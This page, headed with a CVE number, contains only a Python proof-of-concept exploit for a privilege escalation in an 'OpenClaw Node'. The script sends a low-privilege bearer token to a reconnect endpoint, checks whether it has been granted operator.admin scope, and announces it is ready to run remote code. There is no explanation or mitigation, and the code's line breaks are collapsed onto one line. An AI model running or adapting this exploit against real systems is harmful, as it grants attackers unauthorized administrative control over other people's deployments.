CVE-2026-35625

import requests # Conceptual PoC for CVE-2026-35625 # Target: OpenClaw Node def trigger_privilege_escalation(target_url, auth_token): """ Exploit the silent local shared-auth reconnect to escalate privileges. The system auto-approves scope upgrade from operator.read to operator.admin. """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Endpoint responsible for handling shared-auth reconnection reconnect_endpoint = f"{target_url}/api/v1/reconnect" try: print(f"[*] Attempting to trigger reconnect on {target_url}...") # Triggering the reconnect logic response = requests.post(reconnect_endpoint, headers=headers, json={"force": True}) if response.status_code == 200: print("[+] Reconnect successful. Checking privileges...") # Verify privilege escalation check_endpoint = f"{target_url}/api/v1/whoami" user_info = requests.get(check_endpoint, headers=headers).json() if 'operator.admin' in user_info.get('scopes', []): print("[+] Privilege escalation successful! Scope: operator.admin") print("[+] Ready to execute remote code.") else: print("[-] Privilege escalation failed or already admin.") else: print(f"[-] Failed to trigger reconnect. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target and low-privilege token TARGET = "http://127.0.0.1:8080" LOW_PRIV_TOKEN = "<operator_read_token>" trigger_privilege_escalation(TARGET, LOW_PRIV_TOKEN)

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